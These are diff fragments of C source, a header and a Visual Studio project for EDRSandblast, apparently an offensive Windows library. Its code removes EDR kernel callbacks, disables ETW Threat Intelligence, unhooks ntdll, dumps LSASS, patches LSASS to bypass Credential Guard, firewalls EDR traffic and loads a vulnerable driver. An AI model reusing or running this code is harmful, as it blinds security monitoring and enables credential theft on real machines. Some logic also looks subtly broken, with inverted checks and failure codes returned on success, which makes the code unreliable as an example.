if (ctx->isETWTICurrentlyEnabled) {
|
||||
DisableETWThreatIntelProvider(ctx->config->verbose);
|
||||
ctx->isETWTICurrentlyEnabled = FALSE;
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
|
||||
return Krnlmode_EnumAllMonitoring(NULL);
|
||||
}
|
||||
|
||||
EDRSB_STATUS Krnlmode_RestoreAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
|
||||
if (!ctx->krnlmodeMonitoringEnumDone) {
|
||||
_putts(TEXT("[-] Kernel mode callbacks were not enumerated prior to this call"));
|
||||
return EDRSB_FAILURE;
|
||||
}
|
||||
|
||||
if (!ctx->config->actions.DontRestoreCallBacks && ctx->foundNotifyRoutineCallbacks) {
|
||||
_putts_or_not(TEXT("Restoring EDR's kernel notify routine callbacks..."));
|
||||
RestoreEDRNotifyRoutineCallbacks(ctx->foundEDRDrivers);
|
||||
}
|
||||
|
||||
if (!ctx->config->actions.DontRestoreCallBacks && ctx->foundObjectCallbacks) {
|
||||
_putts_or_not(TEXT("[+] Restoring EDR's kernel object callbacks..."));
|
||||
EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
|
||||
}
|
||||
|
||||
// Renable the ETW Threat Intel provider.
|
||||
if (!ctx->config->actions.DontRestoreETWTI && ctx->isETWTISystemEnabled) {
|
||||
EnableETWThreatIntelProvider(ctx->config->verbose);
|
||||
}
|
||||
|
||||
if (ctx->foundEDRDrivers) {
|
||||
free(ctx->foundEDRDrivers);
|
||||
ctx->foundEDRDrivers = NULL;
|
||||
}
|
||||
|
||||
ctx->krnlmodeMonitoringEnumDone = FALSE;
|
||||
|
||||
return EDRSB_SUCCESS;
|
||||
}
|
||||
|
||||
EDRSB_STATUS Action_SetCurrentProcessAsProtected(_In_ EDRSB_CONTEXT* ctx) {
|
||||
if (!ctx->config->actions.ProtectProcess) {
|
||||
_tprintf_or_not(TEXT("[-] Protecting of process failed: missing ProtectProcess action in config"));
|
||||
return EDRSB_MISSING_PROTECTPROCESS;
|
||||
}
|
||||
|
||||
_putts_or_not(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light)."));
|
||||
SetCurrentProcessAsProtected(ctx->config->verbose);
|
||||
return EDRSB_SUCCESS;
|
||||
}
|
||||
|
||||
//TODO : remove, this API serves no purpose. Just expose SandMiniDumpWriteDump (with a userland bypass technique as parameter), and use GetSafeNtFunction inside SandMiniDumpWriteDump
|
||||
EDRSB_STATUS Action_DumpProcessByName(_In_ EDRSB_CONTEXT* ctx, _In_ LPWSTR processName, _In_ LPWSTR outputPath, EDRSB_USERMODE_TECHNIQUE usermodeTechnique) {
|
||||
EDRSB_CONFIG* config = ctx->config;
|
||||
|
||||
EDRSB_STATUS status;
|
||||
DWORD ntStatus;
|
||||
|
||||
if (usermodeTechnique != -1) {
|
||||
ntStatus = SandMiniDumpWriteDump(processName, outputPath);// , usermodeTechnique);
|
||||
if (ntStatus != STATUS_SUCCES) {
|
||||
_tprintf_or_not(TEXT("[-] Process dump failed: direct syscall MiniDumpWriteDump failed with error 0x%lx!\n"), ntStatus);
|
||||
status = EDRSB_FAILURE;
|
||||
}
|
||||
else {
|
||||
status = EDRSB_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
else {
|
||||
ntStatus = dumpProcess(processName, outputPath);
|
||||
if (!ntStatus) {
|
||||
_tprintf_or_not(TEXT("[-] Process dump failed: Lsass dump using Windows' MiniDumpWriteDump failed!"));
|
||||
status = EDRSB_FAILURE;
|
||||
}
|
||||
else {
|
||||
status = EDRSB_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
|
||||
EDRSB_STATUS Action_FirewallBlockEDR(_In_ EDRSB_CONTEXT* ctx) {
|
||||
if (!ctx->config->actions.FirewallEDR) {
|
||||
_tprintf_or_not(TEXT("[-] Firewalling failed: missing FirewallEDR action in config"));
|
||||
return EDRSB_MISSING_FIREWALLEDR;
|
||||
}
|
||||
|
||||
EDRSB_STATUS status;
|
||||
HRESULT hrStatus = S_OK;
|
||||
|
||||
fwBlockingRulesList sFWEntries = { 0 };
|
||||
|
||||
_tprintf_or_not(TEXT("[*] Configuring Windows Firewall rules to block EDR network access...\n\n"));
|
||||
|
||||
hrStatus = FirewallBlockEDR(&sFWEntries);
|
||||
if (FAILED(hrStatus)) {
|
||||
_tprintf_or_not(TEXT("[!] An error occured while attempting to create Firewall rules!\n\n"));
|
||||
status = EDRSB_FAILURE;
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("[+] Successfully configured Windows Firewall rules to block EDR network access!\n"));
|
||||
status = EDRSB_FAILURE;
|
||||
FirewallPrintManualDeletion(&sFWEntries);
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
EDRSB_STATUS Action_DisableCredGuard(_In_ EDRSB_CONTEXT* ctx) {
|
||||
if (!ctx->config->actions.BypassCredguard) {
|
||||
_tprintf_or_not(TEXT("[-] CredGuard bypass failed: missing BypassCredguard action in config"));
|
||||
return EDRSB_FAILURE;
|
||||
}
|
||||
|
||||
EDRSB_STATUS status;
|
||||
|
||||
if (disableCredGuardByPatchingLSASS()) {
|
||||
_putts_or_not(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system."));
|
||||
status = EDRSB_SUCCESS;
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed."));
|
||||
status = EDRSB_BYPASSCREDGUARD_FAILED;
|
||||
}
|
||||
|
||||
return status;
|
||||
|
||||
}
|
||||
|
||||
VOID Usermode_EnumAllMonitoring(_Inout_ EDRSB_CONTEXT* ctx) {
|
||||
// zero-terminated HOOK array
|
||||
HOOK* hooks = searchHooks(NULL);
|
||||
ctx->foundUserlandHooks = hooks;
|
||||
}
|
||||
|
||||
VOID Usermode_RemoveAllMonitoring(_Inout_ EDRSB_CONTEXT* ctx, EDRSB_USERMODE_TECHNIQUE technique) {
|
||||
UNHOOK_METHOD map_methods[5] = { 0 }; //maps EDRSB_USERMODE_TECHNIQUE enum with UNHOOK_METHOD enum
|
||||
map_methods[Unhook_with_ntdll_NtProtectVirtualMemory] = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY;
|
||||
map_methods[Copy_ntdll_and_load] = UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY;
|
||||
map_methods[Allocate_trampoline] = UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE;
|
||||
map_methods[Find_and_use_existing_trampoline] = UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE;
|
||||
map_methods[Use_direct_syscall] = UNHOOK_WITH_DIRECT_SYSCALL;
|
||||
UNHOOK_METHOD unhook_method = map_methods[technique];
|
||||
|
||||
if (!ctx->foundUserlandHooks) {
|
||||
Usermode_EnumAllMonitoring(ctx);
|
||||
}
|
||||
|
||||
HOOK* hooks = ctx->foundUserlandHooks;
|
||||
if (!hooks) {
|
||||
_putts_or_not(TEXT("[-] Failed to get userland hooks\n"));
|
||||
return;
|
||||
}
|
||||
|
||||
if (hooks->disk_function != NULL) {
|
||||
_putts_or_not(TEXT("[+] Removing detected userland hooks:\n"));
|
||||
}
|
||||
|
||||
for (HOOK* ptr = hooks; ptr->disk_function != NULL; ptr++) {
|
||||
printf_or_not("\tUnhooking %s using method %ld...\n", ptr->functionName, unhook_method);
|
||||
unhook(ptr, unhook_method);
|
||||
}
|
||||
}
|
||||
|
||||
EDRSB_STATUS _Usermode_GetSafeNtFunction_with_ntdll_copy(_Inout_ EDRSB_CONTEXT* ctx, _In_z_ const WCHAR* tempDLLFilePath, _In_z_ LPCSTR ntFunctionName, _Outptr_result_maybenull_ PVOID* function);
|
||||
EDRSB_STATUS _GetSafeNtFunctionUsingTrampoline(BOOL fromEdr, LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function);
|
||||
EDRSB_STATUS _GetSafeNtFunctionbyUnhookingWithNtProtectVirtualMemory(_In_ LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function);
|
||||
EDRSB_STATUS Usermode_GetSafeNtFunc(_Inout_ EDRSB_CONTEXT* ctx, _In_ LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function, EDRSB_USERMODE_TECHNIQUE technique) {
|
||||
WCHAR tempDLLFilePath[MAX_PATH] = { 0 };
|
||||
switch (technique) {
|
||||
case Copy_ntdll_and_load:
|
||||
GetTempPathW(MAX_PATH, tempDLLFilePath);
|
||||
PathCchCombine(tempDLLFilePath, _countof(tempDLLFilePath), tempDLLFilePath, L"ntdlol.txt");//TODO : make it configurable
|
||||
return _Usermode_GetSafeNtFunction_with_ntdll_copy(ctx, tempDLLFilePath, functionName, function);
|
||||
case Allocate_trampoline:
|
||||
return _GetSafeNtFunctionUsingTrampoline(FALSE, functionName, function);
|
||||
case Find_and_use_existing_trampoline:
|
||||
return _GetSafeNtFunctionUsingTrampoline(TRUE, functionName, function);
|
||||
case Unhook_with_ntdll_NtProtectVirtualMemory:
|
||||
return _GetSafeNtFunctionbyUnhookingWithNtProtectVirtualMemory(functionName, function);
|
||||
case Use_direct_syscall:
|
||||
*function = CreateSyscallStubWithVirtuallAlloc(functionName);
|
||||
if (*function) {
|
||||
return EDRSB_SUCCESS;
|
||||
}
|
||||
else {
|
||||
return EDRSB_FAILURE;
|
||||
}
|
||||
default:
|
||||
*function = NULL;
|
||||
return EDRSB_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Patch the ntdll section that corresponds to the asked function, replace it with its original content, and just return a poniter to the function address in ntdll.dll
|
||||
* The following actions are performed:
|
||||
* - The export that immediately follows the asked function is located, and will be considered as the function boundary
|
||||
* - The content of the function is copied from the on-disk version of ntdll.dll (after taking relocations into account), to the memory-mapped version
|
||||
*/
|
||||
EDRSB_STATUS _GetSafeNtFunctionbyUnhookingWithNtProtectVirtualMemory(_In_ LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function) {
|
||||
*function = NULL;
|
||||
|
||||
// Get ntdll.dll from memory and disk
|
||||
PE* ntdll_mem = NULL;
|
||||
PE* ntdll_disk = NULL;
|
||||
getNtdllPEs(&ntdll_mem, &ntdll_disk);
|
||||
|
||||
// Look for the closest export from "function"
|
||||
DWORD functionRVA = PE_functionRVA(ntdll_disk, functionName);
|
||||
if (functionRVA) {
|
||||
return EDRSB_NT_FUNCTION_NOT_FOUND;
|
||||
}
|
||||
DWORD nextFunctionRVA = functionRVA - 1;
|
||||
for (DWORD i = 0; i < ntdll_disk->exportedNamesLength; i++) {
|
||||
DWORD someFunctionStartRVA = ntdll_disk->exportedFunctions[ntdll_disk->exportedOrdinals[i]];
|
||||
if (someFunctionStartRVA == functionRVA) {
|
||||
continue;
|
||||
}
|
||||
if ((someFunctionStartRVA - functionRVA) < (nextFunctionRVA - functionRVA)) {
|
||||
nextFunctionRVA = someFunctionStartRVA;
|
||||
}
|
||||
}
|
||||
|
||||
// Check we did not cross a section boundary (last export in the section)
|
||||
IMAGE_SECTION_HEADER* textSection = PE_sectionHeader_fromRVA(ntdll_disk, functionRVA);
|
||||
DWORD textSectionEndRVA = textSection->VirtualAddress + textSection->Misc.VirtualSize;
|
||||
if (textSectionEndRVA < nextFunctionRVA) {
|
||||
nextFunctionRVA = textSectionEndRVA;
|
||||
}
|
||||
|
||||
// The area to patch is between the two bounds
|
||||
PVOID functionStart = PE_RVA_to_Addr(ntdll_mem, functionRVA);
|
||||
PVOID functionEnd = PE_RVA_to_Addr(ntdll_mem, nextFunctionRVA);
|
||||
SIZE_T functionSize = (PBYTE)functionEnd - (PBYTE)functionStart;
|
||||
PVOID functionStartOnDisk = PE_RVA_to_Addr(ntdll_disk, functionRVA);
|
||||
|
||||
// Use NtProtectVirtualMemory to temporarily change page permissions and patch it with disk content
|
||||
pNtProtectVirtualMemory originalNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory");
|
||||
DWORD oldProtect;
|
||||
NTSTATUS status = originalNtProtectVirtualMemory(
|
||||
(HANDLE)-1, // GetCurrentProcess()
|
||||
&functionStart,
|
||||
&functionSize,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
&oldProtect
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
return EDRSB_NTPROTECTVIRTUALMEMORY_FAILED;
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < functionSize; i++) {
|
||||
((PBYTE)functionStart)[i] = ((PBYTE)functionStartOnDisk)[i];
|
||||
}
|
||||
|
||||
status = originalNtProtectVirtualMemory(
|
||||
(HANDLE)-1, // GetCurrentProcess()
|
||||
&functionStart,
|
||||
&functionSize,
|
||||
oldProtect,
|
||||
&oldProtect
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
return EDRSB_NTPROTECTVIRTUALMEMORY_FAILED;
|
||||
}
|
||||
|
||||
// Return a pointer to the unhooked function
|
||||
*function = functionStart;
|
||||
return EDRSB_SUCCESS;
|
||||
}
|
||||
|
||||
//TODO : to move in Core / deduplicate
|
||||
EDRSB_STATUS _GetSafeNtFunctionUsingTrampoline(BOOL fromEdr, LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function) {
|
||||
*function = NULL;
|
||||
|
||||
PE* ntdllPE_mem = NULL;
|
||||
PE* ntdllPE_disk = NULL;
|
||||
getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk);
|
||||
|
||||
PVOID disk_NtFunction = PE_functionAddr(ntdllPE_disk, functionName);
|
||||
PVOID mem_NtFunction = PE_functionAddr(ntdllPE_mem, functionName);
|
||||
|
||||
size_t patchSize = 0;
|
||||
PVOID patchAddr = findDiff(mem_NtFunction, disk_NtFunction, PATCH_MAX_SIZE, &patchSize);
|
||||
|
||||
if (patchSize == 0) {
|
||||
*function = mem_NtFunction;
|
||||
return EDRSB_FUNCTION_NOT_HOOKED;
|
||||
}
|
||||
|
||||
if (fromEdr) {
|
||||
PVOID trampoline = NULL;
|
||||
trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtFunction + ((PBYTE)patchAddr - (PBYTE)mem_NtFunction), patchSize, (PBYTE)patchAddr + patchSize);
|
||||
if (NULL == trampoline) {
|
||||
printf_or_not("Trampoline for %s was impossible to find !\n", functionName);
|
||||
return EDRSB_TRAMPOLINE_NOT_FOUND;
|
||||
}
|
||||
*function = trampoline;
|
||||
return EDRSB_SUCCESS;
|
||||
}
|
||||
else {
|
||||
|
||||
#if _WIN64
|
||||
#define JUMP_SIZE 14
|
||||
#else
|
||||
#define JUMP_SIZE 5
|
||||
#endif
|
||||
PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (NULL == trampoline) {
|
||||
printf_or_not("\tError : VirtualAlloc: 0x%x\n\n", GetLastError());
|
||||
return EDRSB_MEMALLOC_FAIL;
|
||||
}
|
||||
|
||||
DWORD oldProtect;
|
||||
memcpy(trampoline, disk_NtFunction, patchSize);
|
||||
#if _WIN64
|
||||
* ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp
|
||||
*((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0]
|
||||
*((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtFunction) + patchSize);
|
||||
#else
|
||||
* (trampoline + patchSize) = 0xE9; //far JMP
|
||||
*((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtFunction) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE));
|
||||
#endif
|
||||
VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect);
|
||||
|
||||
*function = trampoline;
|
||||
return EDRSB_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
//TODO : to move in Core / deduplicate
|
||||
EDRSB_STATUS _Usermode_GetSafeNtFunction_with_ntdll_copy(_Inout_ EDRSB_CONTEXT* ctx, _In_z_ const WCHAR* tempDLLFilePath, _In_z_ LPCSTR ntFunctionName, _Outptr_result_maybenull_ PVOID* function) {
|
||||
*function = NULL;
|
||||
|
||||
//BUG : cannot change/choose the DLL file path after first call
|
||||
HANDLE secondNtdll;
|
||||
if (!ctx->Cache.NtdllCopyHandle) {
|
||||
WCHAR ntdllFilePath[MAX_PATH] = { 0 };
|
||||
|
||||
GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath));
|
||||
PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll");
|
||||
|
||||
CopyFileW(ntdllFilePath, tempDLLFilePath, FALSE);
|
||||
secondNtdll = LoadLibraryW(tempDLLFilePath);
|
||||
ctx->Cache.NtdllCopyHandle = secondNtdll;
|
||||
}
|
||||
secondNtdll = ctx->Cache.NtdllCopyHandle;
|
||||
PE* secondNtdll_pe = PE_create(secondNtdll, TRUE);
|
||||
|
||||
PVOID functionAddress = PE_functionAddr(secondNtdll_pe, ntFunctionName);
|
||||
PE_destroy(secondNtdll_pe);
|
||||
if (functionAddress == NULL) {
|
||||
return EDRSB_NT_FUNCTION_NOT_FOUND;
|
||||
}
|
||||
else {
|
||||
*function = functionAddress;
|
||||
return EDRSB_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
VOID EDRSB_CleanUp(_Inout_ EDRSB_CONTEXT* ctx) {
|
||||
if (ctx->Cache.NtdllCopyHandle) {
|
||||
FreeLibrary(ctx->Cache.NtdllCopyHandle);
|
||||
ctx->Cache.NtdllCopyHandle = NULL;
|
||||
}
|
||||
|
||||
if (ctx->isDriverInstalled) {
|
||||
CloseDriverHandle();
|
||||
BOOL status = UninstallVulnerableDriver();
|
||||
if (status == FALSE) {
|
||||
_putts_or_not(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver"));
|
||||
_tprintf_or_not(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), GetDriverServiceName());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,168 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include "../EDRSandblast/Includes/UserlandHooks.h"
|
||||
|
||||
typedef struct EDRSB_SINGLETONS_t {
|
||||
HANDLE NtdllCopyHandle;
|
||||
} EDRSB_SINGLETONS;
|
||||
|
||||
|
||||
typedef struct EDRSB_CONTEXT_t {
|
||||
// Generic
|
||||
struct EDRSB_CONFIG_t* config;
|
||||
// Kernel related
|
||||
BOOL isDriverInstalled;
|
||||
BOOL krnlmodeMonitoringEnumDone;
|
||||
BOOL foundNotifyRoutineCallbacks;
|
||||
BOOL foundObjectCallbacks;
|
||||
struct FOUND_EDR_CALLBACKS* foundEDRDrivers;
|
||||
BOOL isETWTISystemEnabled;
|
||||
BOOL isETWTICurrentlyEnabled;
|
||||
// Usermode related
|
||||
BOOL usermodeMonitoringRemoved;
|
||||
HOOK* foundUserlandHooks;
|
||||
// Singletons / open handles / allocated buffer, etc. that should be opened once and used multiple times
|
||||
EDRSB_SINGLETONS Cache;
|
||||
} EDRSB_CONTEXT;
|
||||
|
||||
|
||||
typedef struct EDRSB_BYPASS_MODE_t {
|
||||
BYTE Usermode : 1;
|
||||
BYTE Krnlmode : 1;
|
||||
} EDRSB_BYPASS_MODE;
|
||||
|
||||
typedef enum EDRSB_USERMODE_TECHNIQUE_e {
|
||||
Unhook_with_ntdll_NtProtectVirtualMemory,
|
||||
Copy_ntdll_and_load,
|
||||
Allocate_trampoline,
|
||||
Find_and_use_existing_trampoline,
|
||||
Use_direct_syscall,
|
||||
} EDRSB_USERMODE_TECHNIQUE;
|
||||
|
||||
// TODO: update values.
|
||||
typedef struct EDRSB_ACTIONS_t {
|
||||
DWORD ProtectProcess : 1;
|
||||
DWORD BypassCredguard : 1;
|
||||
DWORD ExecProcess : 1;
|
||||
DWORD FirewallEDR : 1;
|
||||
DWORD DontUnloadDriver : 1;
|
||||
DWORD DontRestoreCallBacks : 1;
|
||||
DWORD DontRestoreETWTI : 1;
|
||||
} EDRSB_ACTIONS;
|
||||
|
||||
typedef struct EDRSB_OFFSETS_RETRIEVAL_METHOD_t {
|
||||
BYTE Embeded : 1;
|
||||
BYTE File : 1;
|
||||
BYTE Internet : 1;
|
||||
} EDRSB_OFFSETS_RETRIEVAL_METHOD;
|
||||
|
||||
typedef enum EDRSB_STATUS_e {
|
||||
EDRSB_SUCCESS,
|
||||
//Driver related errors
|
||||
EDRSB_DRIVER_NOT_SPECIFIED,
|
||||
EDRSB_DRIVER_NOT_FOUND,
|
||||
EDRSB_DRIVER_INSTALL_FAILED,
|
||||
// Config related errors.
|
||||
EDRSB_KERNEL_OFFSETS_NOT_FOUND,
|
||||
EDRSB_WDIGEST_OFFSETS_NOT_FOUND,
|
||||
// Kernel mode related errors.
|
||||
EDRSB_MISSING_KRNLMODE,
|
||||
// Usermode mode related errors.
|
||||
EDRSB_NT_FUNCTION_NOT_FOUND,
|
||||
EDRSB_TRAMPOLINE_NOT_FOUND,
|
||||
EDRSB_FUNCTION_NOT_HOOKED,
|
||||
EDRSB_NTPROTECTVIRTUALMEMORY_FAILED,
|
||||
// Actions related errors.
|
||||
EDRSB_MISSING_DUMPPROCESS,
|
||||
EDRSB_MISSING_PROTECTPROCESS,
|
||||
EDRSB_MISSING_BYPASSCREDGUARD,
|
||||
EDRSB_MISSING_EXECPROCESS,
|
||||
EDRSB_MISSING_FIREWALLEDR,
|
||||
EDRSB_BYPASSCREDGUARD_FAILED,
|
||||
EDRSB_EXECPROCESS_FAILED,
|
||||
//Other errors
|
||||
EDRSB_FAILURE,
|
||||
EDRSB_MEMALLOC_FAIL,
|
||||
EDRSB_KNRL_MONITORING,
|
||||
EDRSB_ACCESS_DENIED,
|
||||
} EDRSB_STATUS;
|
||||
|
||||
/*
|
||||
* EDRSandblast configuration structure
|
||||
*/
|
||||
typedef struct EDRSB_CONFIG_t {
|
||||
/*
|
||||
* Defines the bypass mode to use.
|
||||
*/
|
||||
EDRSB_BYPASS_MODE bypassMode;
|
||||
|
||||
/*
|
||||
* Defines the actions that will be performed.
|
||||
*/
|
||||
EDRSB_ACTIONS actions;
|
||||
|
||||
EDRSB_OFFSETS_RETRIEVAL_METHOD offsetRetrievalMethod;
|
||||
|
||||
/*
|
||||
* Path of the CSV file that contains the needed offsets for kernel mode operations
|
||||
* If NULL, tries to load NtoskrnlOffsets.csv
|
||||
* If empty string, disable NtoskrnlOffsets.csv loading (relies on symbol download every time)
|
||||
*/
|
||||
LPWSTR kernelOffsetFilePath; //TODO : unifier les offsets dans un seul fichier (un json ?) pour �viter de demander � l'utilisateur de passer plusieurs fichiers
|
||||
|
||||
/*
|
||||
* Path of the CSV file that contains the needed offsets for credential guard related operations
|
||||
* If NULL, tries to load WdigestOffsets.csv
|
||||
* If empty string, disable WdigestOffsets.csv loading (relies on symbol download every time)
|
||||
*/
|
||||
LPWSTR wdigestOffsetFilePath;
|
||||
|
||||
/*
|
||||
* Path of the vulnerable driver to install
|
||||
* If NULL, tries to load RTCore64.sys
|
||||
*/
|
||||
LPWSTR vulerableDriverPath;
|
||||
|
||||
/*
|
||||
* If additionnal debug messages are wanted
|
||||
*/
|
||||
BOOL verbose;
|
||||
|
||||
} EDRSB_CONFIG;
|
||||
|
||||
/*
|
||||
* Global init.
|
||||
*/
|
||||
EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config);
|
||||
VOID EDRSB_CleanUp(_Inout_ EDRSB_CONTEXT* ctx);
|
||||
|
||||
/*
|
||||
* Usermode APIs.
|
||||
*/
|
||||
EDRSB_STATUS Usermode_GetSafeNtFunc(_Inout_ EDRSB_CONTEXT* ctx, _In_ LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function, EDRSB_USERMODE_TECHNIQUE technique);
|
||||
|
||||
VOID Usermode_EnumAllMonitoring(_Inout_ EDRSB_CONTEXT* ctx);
|
||||
|
||||
VOID Usermode_RemoveAllMonitoring(_Inout_ EDRSB_CONTEXT* ctx, EDRSB_USERMODE_TECHNIQUE technique);
|
||||
|
||||
/*
|
||||
* Krnlmode APIs.
|
||||
*/
|
||||
EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx);
|
||||
|
||||
EDRSB_STATUS Krnlmode_RemoveAllMonitoring(_In_ EDRSB_CONTEXT* ctx);
|
||||
|
||||
EDRSB_STATUS Krnlmode_RestoreAllMonitoring(_In_ EDRSB_CONTEXT* ctx);
|
||||
|
||||
/*
|
||||
* Actions APIs.
|
||||
*/
|
||||
// Set the protection level of the current process to Light WinTcb(PsProtectedSignerWinTcb - Light). Allows access to other protected processes, such as lsass when RunAsPPL is enabled
|
||||
EDRSB_STATUS Action_SetCurrentProcessAsProtected(_In_ EDRSB_CONTEXT* ctx);
|
||||
|
||||
EDRSB_STATUS Action_DumpProcessByName(_In_ EDRSB_CONTEXT* ctx, _In_ LPWSTR processName, _In_ LPWSTR outputPath, EDRSB_USERMODE_TECHNIQUE usermodeTechnique);
|
||||
|
||||
EDRSB_STATUS Action_FirewallBlockEDR(_In_ EDRSB_CONTEXT* ctx);
|
||||
|
||||
EDRSB_STATUS Action_DisableCredGuard(_In_ EDRSB_CONTEXT* ctx);
|
||||
|
||||
@@ -0,0 +1,152 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{3a2fcb56-01a3-41b3-bdaa-b25f45784b23}</ProjectGuid>
|
||||
<RootNamespace>EDRSandblastStaticLibrary</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
